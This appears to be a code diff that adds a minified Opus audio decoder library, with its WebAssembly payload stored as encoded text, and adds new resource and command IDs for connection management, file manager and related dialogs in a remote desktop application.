this.C.W(e,t,this.oi,H,this.yi)},this.bi=M.G,this.C=M.V||s,this.ii=M.$||n,this.ti=M.module;const t=i=>"number"==typeof i,e=i.sampleRate,H=i.channels,h=i.streamCount,r=i.coupledStreamCount,o=i.channelMappingTable,a=i.preSkip,c=i.forceStereo?1:0;if(H>2&&(!t(h)||!t(r)||!Array.isArray(o)))throw Error("Invalid Opus Decoder Options for multichannel decoding.");return this.yi=[8e3,12e3,16e3,24e3,48e3].includes(e)?e:48e3,this.ci=t(H)?H:2,this.li=t(h)?h:1,this.di=t(r)?r:this.ci-1,this.Ii=o||(2===this.ci?[0,1]:[0]),this.pi=a||0,this.mi=H<=8&&2!=H?c:0,this.ni=3840*this.ci,this.ai=5760,this.oi=this.mi?2:this.ci,this.fi=this.K(),this}class o extends h{constructor(i){super(i,"opus-decoder",M,n)}async decodeFrame(i){return this.X("decodeFrame",i)}async decodeFrames(i){return this.X("decodeFrames",i)}}r(M,"OpusDecoder"),r(o,"OpusDecoderWebWorker"),i.OpusDecoder=M,i.OpusDecoderWebWorker=o},"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("@eshaz/web-worker")):"function"==typeof define&&define.amd?define(["exports","@eshaz/web-worker"],t):t((i="undefined"!=typeof globalThis?globalThis:i||self)["opus-decoder"]={},i.Worker);
//# sourceMappingURL=opus-decoder.min.js.map
+25 -4
View File
@@ -48,6 +48,9 @@
#define IDI_ICON_STRING 163 #define IDI_ICON_STRING 163
#define IDD_DIALOG_SERVICES 164 #define IDD_DIALOG_SERVICES 164
#define IDR_MENU_SERVICES 165 #define IDR_MENU_SERVICES 165
#define IDD_DIALOG_CONNECTIONS 404
#define IDR_MENU_CONNECTIONS 405
#define IDI_CONNECTION 406
#define IDD_DIALOG_VIDEO 166 #define IDD_DIALOG_VIDEO 166
#define IDC_CURSOR2 168 #define IDC_CURSOR2 168
#define IDC_CURSOR1 171 #define IDC_CURSOR1 171
@@ -263,6 +266,7 @@
#define IDR_WEB_XTERM_CSS 383 #define IDR_WEB_XTERM_CSS 383
#define IDR_WEB_XTERM_FIT_JS 384 #define IDR_WEB_XTERM_FIT_JS 384
#define IDR_WEB_INDEX_HTML 385 #define IDR_WEB_INDEX_HTML 385
#define IDR_WEB_OPUS_DECODER_JS 401
#define IDB_BITMAP_COMPRESS 386 #define IDB_BITMAP_COMPRESS 386
#define IDB_BITMAP_UNCOMPRESS 387 #define IDB_BITMAP_UNCOMPRESS 387
#define IDB_BITMAP9 388 #define IDB_BITMAP9 388
@@ -280,6 +284,9 @@
#define IDB_BITMAP_HISTORY_ACTIVITY 398 #define IDB_BITMAP_HISTORY_ACTIVITY 398
#define IDB_BITMAP_VIEW_WND 399 #define IDB_BITMAP_VIEW_WND 399
#define IDB_BITMAP_PROXY_AUTORUN 400 #define IDB_BITMAP_PROXY_AUTORUN 400
#define IDB_BITMAP_FILE_MANAGER 407
#define IDB_BITMAP_PRIVACY_SHIELD 408
#define IDB_BITMAP_DRAWING_BOARD 409
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -1004,6 +1011,13 @@
#define ID_WEB_REMOTE_CONTROL 33044 #define ID_WEB_REMOTE_CONTROL 33044
#define ID_TOOL_PLUGIN_SETTINGS 33045 #define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_MCP_SETTINGS 33077 #define ID_MCP_SETTINGS 33077
#define ID_CONNECTION_MANAGE 33086
#define ID_CONNECTION_KILL 33087
#define ID_CONNECTION_REFRESH 33088
#define ID_TALK_MANAGE 33089
#define ID_EXPERIMENT_FILE_MANAGER 33090
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
#define ID_EXPERIMENT_DRAWING_BOARD 33092
#define ID_33046 33046 #define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047 #define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048 #define ID_TRIGGER_SETTINGS 33048
@@ -1056,13 +1070,20 @@
#define IDC_STATIC_SHARE_DAYS 2588 #define IDC_STATIC_SHARE_DAYS 2588
#define IDC_EDIT_SHARE_DAYS 2589 #define IDC_EDIT_SHARE_DAYS 2589
// 文件传输速度调节对话框
#define IDD_FILE_SPEED 403
#define ID_TOOL_FILE_SPEED 33085
#define IDC_FSPEED_SLIDER 2590
#define IDC_FSPEED_LABEL 2591
#define IDC_FSPEED_RESET 2592
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 403 #define _APS_NEXT_RESOURCE_VALUE 410
#define _APS_NEXT_COMMAND_VALUE 33085 #define _APS_NEXT_COMMAND_VALUE 33093
#define _APS_NEXT_CONTROL_VALUE 2590 #define _APS_NEXT_CONTROL_VALUE 2593
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif
#endif #endif
+1
View File
@@ -112,6 +112,7 @@
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面 #define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
#define WM_OPENCLIENTLOGDIALOG WM_USER+3043 // 打开客户端日志对话框 #define WM_OPENCLIENTLOGDIALOG WM_USER+3043 // 打开客户端日志对话框
#define WM_REPORT_CLIENT_LOG WM_USER+3044 // 追加日志到已打开的对话框 #define WM_REPORT_CLIENT_LOG WM_USER+3044 // 追加日志到已打开的对话框
#define WM_OPENCONNECTIONDIALOG WM_USER+3045 // 打开连接管理对话框
#ifdef _UNICODE #ifdef _UNICODE
#if defined _M_IX86 #if defined _M_IX86
+232
View File
@@ -0,0 +1,232 @@
/* Copyright 2021-2026 Ethan Halsall. This file is part of wasm-audio-decoders. https://github.com/eshaz/wasm-audio-decoders */
var i,t;i=this,t=function(i,t){const e=(i,t=4294967295,e=79764919)=>{const H=new Int32Array(256);let s,h,r,n=t;for(s=0;s<256;s++){for(r=s<<24,h=8;h>0;--h)r=2147483648&r?r<<1^e:r<<1;H[s]=r}for(s=0;s<i.length;s++)n=n<<8^H[255&(n>>24^i[s])];return n},H=(i,t=e)=>{const H=i=>new Uint8Array(i.length/2).map((t,e)=>parseInt(i.substring(2*e,2*(e+1)),16)),s=i=>H(i)[0],h=new Map;[,8364,,8218,402,8222,8230,8224,8225,710,8240,352,8249,338,,381,,,8216,8217,8220,8221,8226,8211,8212,732,8482,353,8250,339,,382,376].forEach((i,t)=>h.set(i,t));const r=new Uint8Array(i.length);let n,M,o,a=!1,c=0,I=42,u=i.length>13&&"dynEncode"===i.substring(0,9),y=0;u&&(y=11,M=s(i.substring(9,y)),M<=1&&(y+=2,I=s(i.substring(11,y))),1===M&&(y+=8,o=(i=>new DataView(H(i).buffer).getInt32(0,!0))(i.substring(13,y))));const l=256-I;for(let e=y;e<i.length;e++)if(n=i.charCodeAt(e),61!==n||a){if(92===n&&e<i.length-5&&u){const t=i.charCodeAt(e+1);117!==t&&85!==t||(n=parseInt(i.substring(e+2,e+6),16),e+=5)}if(n>255){const i=h.get(n);i&&(n=i+127)}a&&(a=!1,n-=64),r[c++]=n<I&&n>0?n+l:n-I}else a=!0;const d=r.subarray(0,c);if(u&&1===M){const i=t(d);if(i!==o){const t="Decode failed crc32 validation";throw console.error("`simple-yenc`\n",t+"\n","Expected: "+o+"; Got: "+i+"\n","Visit https://github.com/eshaz/simple-yenc for more information"),Error(t)}}return d};function s(){const i=Uint8Array,t=Float32Array;s.t||Object.defineProperties(s,{t:{value:new WeakMap},H:{value(i,t){s.t.set(i,Promise.resolve(t))}},M:{value(i,t){let e=s.t.get(i);return e||(t?e=WebAssembly.compile(H(t)):(t=i.I,e=s.u(t).then(i=>WebAssembly.compile(i))),s.t.set(i,e)),e}},p:{value(i,e){let H=new t(e),s=0,h=0;for(;s<i.length;)H.set(i[s],h),h+=i[s++].length;return H}},J:{value:(i,t,e,H,s)=>({errors:i,channelData:t,samplesDecoded:e,sampleRate:H,bitDepth:s})},W:{value(i,t,e,H,h,r){let n,M,o=[];for(n=0;n<e;n++){const i=[];for(M=0;M<t.length;)i.push(t[M++][n]||[]);o.push(s.p(i,H))}return s.J(i,o,H,h,r)}},u:{value(t){return t=H(t),new Promise(e=>{const H=String.raw`dynEncode012804c7886d(‰›•)((()>+ˆ*§§)§ˆ,§§§§)§ˆ+§§§)§+.-()(*)-+)(ˆ.7*§)i¸¸,3§(i¸¸,3/G+.••—š¡*(,˜ŽŽ(,3‡‡‰˜‡Š‰›+)2å:-œ),§H(P*DI*H(P*@I++hH)H*r,hH(H(P*<J,i)’^*<H,H(P*4’U((I-H(H*i0’J,^*DH+H-H*œšI+H,I*4)33H(H*H)“^*DH(H+H)^*@H+i§H)œi§›™3æ*).§K(iH“I/+§H,iHn,§H+i(H+i(rCJ0I,H*I-+hH,,hH(H-V)(i)œ’J.H.W)(i)’c)(H,i)“I,H-i*’I-4)33i(I.*hH(V)(H+n5(H(i*’I-i(I,i)I.+hH,i*’J+iHn,hi(I-i*I,+hH,H/’H-c)(H,iFn,hi(I,+hH,H0n5-H*V)(J(,hH/H(i)œ’J(H(V)(J(i)’c)(H)H(i)œ’H,c)(3H*i*’I*H,i)’I,4(3(-H(H,’W)(H-’I-H,i*’I,4)3(3(3H,H-’I1H+I,H.i)œH1V)(“J.i(v5(33H.-H(H,’i(c)(H,i*’I,4)333–)-§i*I*+§H*iHn,hiž73H,H(i)8(H+šJ+H)P*(H*’V)(J-“r,§H)P*,H.i)œ’H+H,“i)œ’V)(-H*i*’I*H+i)œI+H-H.’I.H,H-’i)œI,4)333Ã+)-§iø7i(^*(iü7I,*h+hH+iDn,h*hilI+i)I,+hH+,hH+iô7’H,c)(i)H+i´8’W)(œH,’I,H+i*’I+4)-+hH(H)8*J-i(p5.*h*h*hH-i')u,hH(P*(J+,hH(P*0J,H(P*,n50H+H,’H-b((3H(P*0i)’I.4)3H-i¨*n5*H-iÅ*s,hiž73H-i)œJ+V)&+I,H(H+V)æ,8(I.H(H*8*J-i(p51H-i)œJ+i¸7’V)(H(H+iø7’V)(8(’J/H(P*0J+s,hi73H+H,H.’J,’I.H(P*(m5(H.H(P*,s5.+hH,m5*H(P*(J.H+’H.H+H/“’U((b((H(H(P*0i)’J+^*0H,i)“I,4(3(3H(H.^*03H-i¨*o5)33i(73(3(3-H,H+i)žc)(H,i*’I,H+i)’I+4)33i)I-3H-3!2)0§K(i2“J,L(H,H(^*(H,H*^*4H,i(^*0H,i(^*DH,j(_*<H,H)P*(^*,H,H+P*(^*8*h*h+hH,i)8(I3i§I**h*h*h*h*h*h*hH,i*8(6+(),03H,j(_*@i*I-H,P*<J.i,’J(H,P*8J/s50H,H.i+’J0^*<i¦I*H.H,P*4J1’J.U(*H.U((J2›i')o5/H.U()I.H,H(^*<H0H1’U((H.i0œJ.i§›i0ži')™o5/H/H.H2šJ*H(’J.q50H,P*0J/H*’I-H,P*(J0,hH,P*,H-q,hi)I-423+hH*m5+H/H0’H(H1’U((b((H/i)’I/H(i)’I(H*i)“I*4(3(3H,H.^*<H,H-^*04*3iØ1U((5+i(I(i¨7i1^*(i$6iè1^*(i°7iè6^*(i¬7iÈ6^*(+hH(iÈ*n,hiÈ*I(+hH(i¨,n,hi¨,I(+hH(iØ,n,hiØ,I(+hH(iè,o,hH,i-’H(’i0c)(H(i*’I(4)33iè1i1H,i-’iÈ*8)Bi(I(+hH(ido,hH,i-’H(’i-c)(H(i*’I(4)33iÈ6iè6H,i-’iF8)BiØ1i)b((41-H,i-’H(’i/c)(H(i*’I(4)3(3(-H,i-’H(’i1c)(H(i*’I(4)3(3(-H,i-’H(’i0c)(H(i*’I(4)3(3(3H,H/^*0H,H(^*<3i(I*4*3H,H,i¸)’^*TH,H,iø-’^*PH,H,iX’^*LH,H,i(’^*HH,i-8(I(H,i-8(I-i¥I*H,i,8(I.H(iErH-iErš5)H(i©*’I1H-i)’I0i(i;H.i,’J(i(H(i(rCJ(“J*H*i;sCI*i¨1I-H(I/+hH/,hH,i-’H-V)(i)œ’H,i+8(c)(H/i)“I/H-i*’I-H*i)’I*4)-H(i)œi¨1’I/+hH(H*o,hH,i-’H/V)(i)œ’i(c)(H/i*’I/H(i)’I(4)33i¤I*H,iø-’H,i¸)’H,i-’i;8)5+H0H1’I2i(I-+hH-H2p,hH,H,iP’8*J*i(p5-H*i7u,hH,i-’H-i)œ’H*c)(H-i)’I-4*3i(I/i+I.i+I(*h*h*hH*i8“6*(*)3H-m,hi£I*403H-i)œH,’W)-I/i*I(4)3i3I.i/I(3H2H,H(8(H.’J(H-’J.p,hi¢I*4.3H,i-’H-i)œ’I*+hH(,hH*H/c)(H*i*’I*H(i)“I(4)-H.I-4+3(3(33H,W)1m,hiŸI*4,3H,iø-’H,i¸)’H,i-’H18)J(,hi¡I*H(i(p5,H1H,V)ú-H,V)ø-’o5,3H,i(’H,iX’H,i-’H1i)œ’H08)J(,hi I*H(i(p5,H0H,V)šH,V)˜’o5,3H,H,iP’H,iH’8+I*4+3(3(3H,i$6i¬78+I*3H*H3šm5(3i)I-H*i(r5)3H)H,P*0^*(H+H,P*<^*(H*I-3H,i2’L(H-33Á)+(i¨03b+(,(-(.(/(0(1(2(3(5(7(9(;(?(C(G(K(S([(c(k({(‹(›(«(Ë(ë( (*)(iø03O)()()()(*(*(*(*(+(+(+(+(,(,(,(,(-(-(-(-(i¨13M8(9(:(((0(/(1(.(2(-(3(,(4(+(5(*(6()(7(T7œ‰šœ‡Ž‰œš›*S7•œ‰Š”U”—Љ” Line truncated
®Fj{øú¢ç=}(ݝñŸÜnŸ moǰ¥à•eò?È×µh
ØW¨;Ñ aØX­æU{¤øàÖÕÀì·ÝÌ­íø±tâÔøeVO÷PÉ´È~ÃòsX1´ÊPyK·ÿ™ŒKZçµ ›W„Ñ¡¡_‘ ‘dÍ•í+]Õ~%Yïþîñ ¾Ú·”p[òß ó÷y lhnn«²ù*̐éñ®ï(éÇÃRÊÆRÌ-¬ÐoÒ”Ê2z+ä$‚:ÄsxÏ#Ït!MlBqžš§%Jè„ ƒ®Ä3ó°á¸eÅ_Ö=}iTÐ͆mo †ðbMpžl–¬E›P°e,¼Æju®ix>#}N€gd™ÿÇÄbç9WZÇ·n\†Öá1ڛÈt.ú6bì:û† ào¯ú4Ÿ“Ïø ü­zå¯#ÆkŸ‡M#úÿ9›ë:üÒÝëÚà†¡d”•%0ÒekÓ×mðƸ½ùÿ⇿Ò9 ›ÄgªÕÂ%ü¸» HÁMŽ#Âqˆ²~Œèn¯ Ûa_9j= ùÿR™èæÊó%Mƒ
’¨,Àæq%98‰a9%T—˜2)´z«9gsÒ‚Ö!”ZhRõRێyÕ²ŒÝ=M<Öcº »~VFÕÖx:þrޑðnŽ£x¦8.è†$K9þ¹úSnÍ3¦ˆv…üuºsÕñ=}œ1—=M5Zʕ¦CÿSÉ2×qÒ««S†˜a»ù±(¢º]ÀmÍh÷/¥3@sns2 –%7ù-Q|nÏoöjYÛ]}à2{€EB’êÎ6ƒ>ÁbÄü
á, [DAÐuùjeN‹D‹ EëÔàZ‘ºlq˜»J /˲ájº‚ßCÃÝ1 b)øtN7Ê=}gÕ®òÍá§8²kDïû¤åÒÅóºc=M²= aË.ooèf€.QZj@bñ>qV©?æ• ƒxñˆR ô|_xw ê ˆ¸÷È¡ö"C¶œ2[¼‹ï¯¸©K†ŠmäºúZ€…¡%^°bóþ»-¼Ú¥ZIŽ(pþ…µS%øµã*Ò±8f:t¡éþ†õz¶<Äfñ*žöeP8AÓ¾/g×\С1Ï"= ¤ûGsW_¹ÔÈX Tãà‚uT™íEKPüݸ#åB¢ñ?:µßĬîFŽI8QY;X… íŸ¦k{|¦éíà/fªi>´EÈoK= Š6¼l„Ör²ÿ*YǏv앭dàG{Ö,Gz½.gzSdïV%…’Š˜‰z“¥8²bO™¡2\nOžßV—¡S2KçK´”žUûu۝Ÿã~„f¾K)ÊÖ#´?#»ÅYƒXOøò T™CB}LUk,kÍ)]ŽíiEŸ^ÿyW)Ê»³= ô1_½úÌÞÊçýS¡‰
»£jŒÆkžh Ð1˜G<è^àÙç?…æF¦Ç/ã«Eý6ZI¹tšl.‚aëül|„!&:MÓå?N@øËœÅf 6cì$w–,3~„17F=M𸳞°a‰õu\9æk ‡I—&>V®‡Æ/Øa´ †%¢],ÿ:±wäé¬áS¥FK±U¢±ÓPóŠßœ&“®ƒe€‘= ÍÍܯÏ×À@= Ø‹#‚Ðk[NCó÷À‚ÄÞŽGQRˆcnI}HGñ—\’ç­= öè^áygyDԋa©D”¦„…'ߣMߣPI¯à¨=}˜=MUÀ¸çy 9W½LšíU·ôzwzÃsÝZòŽÓ3ŸFž¸“—Á菣âƒÑ–’nՙ%‘Í¥k…á®=Mˆ×ŸGTÀÊøfëM-UF‡;ŠuåÙ#…X#‰—
nˆ©ï֟DÅñ¸q ’,Թи;h¿åñŸ#µNÓ÷¸v} *ځ‡_= ãýØb6N–=MH§'®Iƒu¯78˜–‘ªÊÝ#42p´[/ƒ¿E= =MxƒåÄV§Ým©3?;bô9fb÷Ð'¨È˜IS7ñ >¬IÍÜK tçքJ 7û6ߥA/|BÏ›=Mõª‡w¿T¼91óí•ÒèœÔ_6»Âõˆªvg2ý¡‰õ÷Ò=}Å3ýXm²¬bˆÛ}U¬0œ¸Ük~e“
aY¬ÈƒÛ•µ¨¢–0N„ñ¬t³VÉhÖYvx§˜"ǘ5\N'ªÂ£æKlÂ?þ{m¼‰ôê±ñÔ|L„m¬t_œ2%¤E„}Ù>›ÎFûalSXø²tRªÀ8 ¥£Å˜š™|ÖW›(Ù)\3Úwåì:›oíý±Y4ì©géµC³¨Q‰\ÍõMÕ„
!J½6ë:ËgípoÒ=}I=}ëS¯¸…ƒž™F=}ÙT__U‰¾&\íÛ ¼Âkg#ú Ú¡ÀsÏÔTžµ³ÑËߊxNÉæGç^4Ñ¡%.¦U±O[ø¼4pͺš7܆âªcÔ¦¢:oŠu¹8ÌzîXfœ¬56DC´Þ]ӆž!=MOÀՉâGÖӝ«0¤–¿‘Å2ú
éηNó“ÚÄr_Z)6y&2^F|#²ì‘36eòa¦rcLõ5Hö<r¼J!í¼©DøÓ@¨åPóˆfÑ£®›·§hQ®õ ½‡c±M¥W,ÝàŒÜ««¿‰¢Vmù| ˋ·wj$témè±°&í9yò‰µ“fæuC”:‡E@[RX\.qéuDýé(‹iao»]W5?I!z®ž¡±âàk—Ëý¼ƒLó–FµUM¨cEu’¼üÃFÔì€<@y´ÜøÆ#y«™µ‡à dMå@„šÛXüû¼á¾ù[CHºÀ[4ñ5z:ӆàV[B•Ò/I!ÕÓÂXj«ýH&o³©sFÍ&-ö«7d\X#>¦€yñÜÃMG”c~#‘!‡T ütŽ? ªÌ·«‰á¨É»ÕBms¸Û®0úBšjÛ(ƒ^ÓÅ®¤ÛF¹ÐmŒ›a)'¨ë(²ÄÞÍm²¦á¡B„á|”%«L¹a\×Ub= -f‹®Ž¢Ü¢«GÌSÔxÖXc‹Ãȋ‹ŸœŠÄh½4e#"‰'…;P >Rõo;%tÐC$g%Ä>70* *©cX— !C7€yôîËtO'j?óíÛµÁûH= I†ŽróÛ= kòwi‰J]€]þ†ßY÷{šŒŸmûpLÿÊe•LA¾À <½å…i­WÎ?o©t¡caâB¼iBüÛڈ¯:_î˜OJ7"\¥^­EPHQ”¼Cõ *{ÎÁIÅŝ$ÉVÇbo]XÆs)^‘H—²®wójÔÎE“6OÙÿŽsRͨEù9ž/²OÉQÿmåŸ«õ‡ØÆœZa;ˆÄ{ <}˜¸°Ró=MÖ²ý‰Üz´|´†pµÛá!cï‡ Æ,@zÃTŠ«d ³åoÙ-KŠyÁÓ4gß-²ÂŸxÊØÏ\@‡q&}eÔÂèŸ\ßÍT1Ï\kŸƒì÷Úw…é\À“Ä~<à¢e«4E¡/«Ä­aõu½=}l°Ã˜Në/J­å=}ÿ®!.N‘Š8…Ær)HÖ43¡C3Ôz/N :
Ú7!Z†‹1Þqöž)M%"O7^+TɚêaF8øc’2ú%ù3}Ô²dU(™³͏Zň±£y¤aŠf¿Ï•][Hþ”s·Ù$EpFæt4¦$V‰ú
í!hãV53øKéâ=}Nå22Úú"AÃ5£áª6ŽŽWÕæYôȂ^ AÜÍ)ýYÌúë¾a0= ºvéèŠ:‡7“Mô=MWsE²Š£²ÇL¿òÞ² —ܳJ+= 5æ+,>
¸M÷‰7jè;/_ý7ãzÈ)D÷·Ç4*È#†Ú¹"ó­!†z0 º—®“еZ*Šìx®
R>sÚýP7Š:ƒ¯ZZ=MŒͅW²Dê6Ó^Nq= fÍbN¿VþÒª£;û<cVýî’媖“6§7dËÃ-²usÒ¹%·iÄs4òf N…(ᨔ|õ-yZ$E)—¹ï5Wí]Q\·1U9†:[-zQ¼—É7÷/þžiÉõ ¿«Ob)Iµñ0
…lÁNpʦË-+Kfø»
cù@®W¡‘Y,îuC6ZK¤é‰Ï²µI=}= óáÔÁ4´-ƒõfԔmõVÛvFÞÀç*=}éåú6™î®£³úÄßy'GD1dƒÕ±È"šx^ù1˜)DÚ'öŽ–\©^6Œ§ö_гîªZ|¾S= @$^*- 'ªÈÄb7ÎÜt7Z4©ö§–É…šU•hY{ÓÚh£ˆ ±TޗÁÉýҎRŒ‰7Ë †¡t¨‹<#Ĩ¡@EK7†Ïb3Uri)åw –=}ø»n#MMuœåÛ™Ä œ ¼ü‰÷´ÒuâÆ8¯¬œ»R6‘I¡WBòîtžnP=Má‹-0óà¤ÕƓ+¯KæÛc„âÑG½þÛÀFä7"ATMáu+mø ¼?ә^Ê?Ts÷ÁR7ñ³!åogã _ËRª«J$¼­Ž‚nÇ ‹h‘ ýõgcíÿ·ÅºÊ§~̂= @<Ûx¿a¥L¦ÃOŸ·—òi½ eûž…ÎL~tÞ/ˆ'ž…—­=M›$x@½tZŖYÖ&¼£]6o¹åۃѕv‹àMfgp£7ŒÇ6ùßkØ5˜i>9àlÊ Š>ƒÐ7w)ý;³(JKLª.z7ðfê2jÐ"£™Ÿ.SˆJ®“.çŠòìV\3(ÎÍ­Êt"´»µ¾¸[Œ
¸8Œ÷Ê+AúCñ&ÿøH]÷hly^Îàî ®ðgåA‰6í”KÊ7ÒäGo¿:ƒ¥G[Åþ¡«aGÞ¾Ž!â
=MnB»ªÖŽ1ÔIZò2»JkëÆwùºÅtªŠ’¯xÇ»×utŠ#jà:æî‹OÒ6P¿èrñË×ôm2¸ÓJ±*h«koâ}»¯£F÷§÷¸”#aƒ®—ŠÅˆ.ùÌ/³3ځ9Vϗ[³22L[ŸÓ,ö«W &$/U›Vq* fÐ;F°®/Ѧ·qo:SCÚɼñ|¨íu09é±|Þ'­ÏYÍ. 5Cm;Àúñ=MmW8ÒSŸM³¦äHmsA^mÞ¢£Â©}‚oO21*‚ÒÃʋFbäT~¿P'7ÑDØÖW®äO{ŽZ»ž A ؄;t£82Jb^“:®ÇOß­v@r*o:×>·ûxGÌt/ë*Š”F:7ÝÁwd¾º›£D´{¢= ´¾˜3EK·‚<MÉ¿†8ÂìiÔÁ°r6Ö!F{'H§Ü
y¢r‚Ín(2Rƒ—æQ{ Û»Ìg{¸G%~»¥QÜm$B˒¡[Ú®jþXè59[ô
âRAÁïyw—ìüwrz˜)yhX#p¼èt!’1‹~^ h6kî^C6}hpBŽ{‘£Q5—x¿ÁoН= à ˆ£É<󛫀¡ìè31ÜÌç±3X~:ÚÂS~«3/÷9ÚJ8Æ~­^\¨Õ’ÀŠvȚØýd9zX|ÿ1¨‰
= S^bÅ]É:×l÷EÜ1= ¦¼Ê
T4’ÙCéhåìcÅ»èZ³}!©ð–:~^¯ãó*Mï8r€Úm}6S3–# ùÊ(%òYï¬%a¯N½Ž
ï˜õ­î/Q ½É}I£Û£þ×ÍLtä,QMÊÚ0la; {Z½¥{é¹3§£:Nj´¸ÆbýÖÜÊÝizeµvýEärìY(£Î£Ô¾oþ3Š9hn,9øÚ¯Œúõyä¿Ôb4q
ÏTÊî·ÑڝQÆï+zy¥0o”b;¢ÀŒï­ˆüÕçIò‡õ[I"îšY°â‰p×AÕ ‹# }êN92‚Üž'Ú=}Å®Õà¹Xg[9„ÿÐ58¿ŒCke.ÓÏ#êzü=}ÒGkÌ%Æ"èύ^q±R3
=}*@Å@¹æÛir·÷³¸{Ôd«WžÈHÒ=M®Ôæ•æa!RqÄםóÁ—ᯍSÛ®?Ãëê ¨.ÃW§r+TSóÛ5_µ®cT8_WqP†ãtå!Wü= ºmµ¬È
Ò+ŸKq¢¢–ãgõ ËÁY”bHG@¡™yt‡]NÖ¥¼~0X+ûx85&Bùž2—×Ûßoç¤›„AŠ:$'áôÑÀ9º|:ª °­zï:— ­$—Jo¯’«Ë›ÜÛ÷àŽSWîK5´ÁË$fÙÓ¨Ãޚ1£L š.uïÇ-ê{¹/&ê֒VÆcí[>£µآŵûȟ{-VÊm_°S›³òÀmªŸQ©FlaÞñíÏW¬D©lÑñ)ðss½ÎÿVƒBt LªS+¬KB\;ªå'þmd'=}‘ÈnÊu&þÚ®4Ps±ô°ñZ÷¹„(ÌýlÜ*M»N«Ïö:[Վ.lrP޽0™w¬žƒ=Mâ×sWíQx_ó‘?CA'
Z“W-òªi±´¥²ÊMZ§æ†„dÀZÐùõ«š˜óZ—ófÉÑüÔè­\rN’ÀóV6Á69f•~6dOgD п”o>‚‘é#Y¾u?ØÞœØš-Ù±WE™ ¯=M^Ïè–bȽq—Úƒäqj ‘r”œ½ZmFïâjʘ4áÃ1XÒ93Oʚ´YöcÛj¥•[Èñ£@!9+ÿI™ üb•Fu#PB©ž
DÑÌYíuÃàÓ+µ"—8“q1·ìÚ¸óTü-¤‘¯ïiõæ)êI÷ïсýÙ¤†£.У‘Û P‡¬A-|¸ëu¥ätj ì¬ÔåÔ8O¥ §IØqÍB¨|D8xò)ºmÕCڒßÒ‰j&ç’þâ&}D#² –Žš½Af9«‘œ ÛБÑW‚—ï^Àþ°w4Ì÷ÿ䣁–¦›ü-yÑ‘ïc®Tú÷5YQp'ùÆ×Íçj1vaî@;åQ‘ÃÀ~¶´‡õ|Ÿ}ñh×ébÔF„4\BÂC&ÿé>SB0qç=}„¤+«mÜp®¶-[—j7ÈÁ­(’bC´=}CѼ±‰§‰ =}Êx±µn†!üÍ@je ¾Ÿ…”Új¯œq!Ró6™×üv$2ÐCÿÞ2!ý^o›äuÏtmQ»ý)ËgÏ_¦npËv õâ;þª«âÍ×;sbŸû–ûoD³auæ³e<=}ÿaSªrýô‡:kû…Üuü>YÃWa³'ÞF{À¼‚ìrag‡ÞP-n£íñN¬X—ª½Z43<yþ²]•¡a®€‰ãˆK[³'· h~ÚW6xòv2ß:.Y¢vÐ|°3‚_”+Æ×@8±+p €e+©Æû |­Ãˆ\|. gè+âT%ç#0ÃêÛ|ò4Õ®ü= 6©Q?ŽÐ¾ô‡=}V–nqæ…ö«…ø{Õ݉­£y"ërk•Ün§ÛVK ý¯«¼2Ìäí½÷Á_9¸­O$6GÌljÜÁªYý»ï#ç[ދ&0¸5á# p*zÄɦ/¦†“ßõè{š»ú-%Ç Ž.¥ ×¾A?Ñ¥m0!{eõˆR,nÖ° íe .ˍ= \pÈÞ=}4”½²N\xÏnYÏÁÏ®»Ö½T¡Ðº.„^¿€èÝۊœ.@¸u9¼p֌Z•¹ÞÐöxjC%fڃl1 ÷þ¬Ñ­q…â|Tí*mc~‚
4:íd;8Å"7Jî^óðP<ª4 ïî‰rØgcŒ
m©°áԅßjf+‰áˆÁCˆ®êAªiO!Ðp8!1ǙœÒë-J‚œö9Õp+mz¸ŸŽ…K#€ôxpGS øQP@c1)Ó ¢_·’=}ºøÁ€9VÙ£Þþ”ôŽbF0‡†C“Š±œózHþ, ÏÊ?d“gºŸPÙ6‹ ì҅òÐMþz’²ÓR½Šœ7d~t¾™óÍw¼äN×3†lVªk ·6­O@*%1‡ð®Ðùã͸iæ—hÔ3é6šåº¦•ªÐN:A6xð†–éÝË Œ=}¾\„š&Š¿Š§ß<Í=MS¼Ê¬ü8â÷/Þä:ô*4Äꃯb(çi@ñ¼‰(|«¥M$.'i3ÖL>\#qkºýþé–;3éy”M)"N\>'?9.ۋ6c7síÒÛ)°tU9QA5zòfvèð.+þèÃÐg?€»|îb$±)|9äáà’gJ…aJù[ÿh:©rÎxò¼…ÿ*­ h5z«ÅØKÚÛ¯èß«Àú½¾]•½íDØÙ¼mñx½E¯T£E·*%eúٚ=}å>òGG7Õ.ì(ö,(lÙ³‘°çÿßrê§@óOcZßëÏ/m|Ñ4J­ô-@dbºX’„…­þx.I*çÃ3†Ÿ†éÙx9dÚ*zQÙP;Òö›nk·—µ×ú­¤îB@ÇW[3îÉ"­Lhó Y["nÌH8‹<^¬ =}µ«|ͱ^·+„¤¬Å/3h^”Óìçç» *ãöøŽ5a¿3uýñ”Ì0 |‡jW˜p.m˜Þ.˜MÉłw*iìe|ÂSÈÊWÒ£é܅…Lb–é4–^&©SÉ«°çn‡›xŸ¨Jg­Ä9°XXî=Mƒñ”Ò?Ñ¢öN¿= 
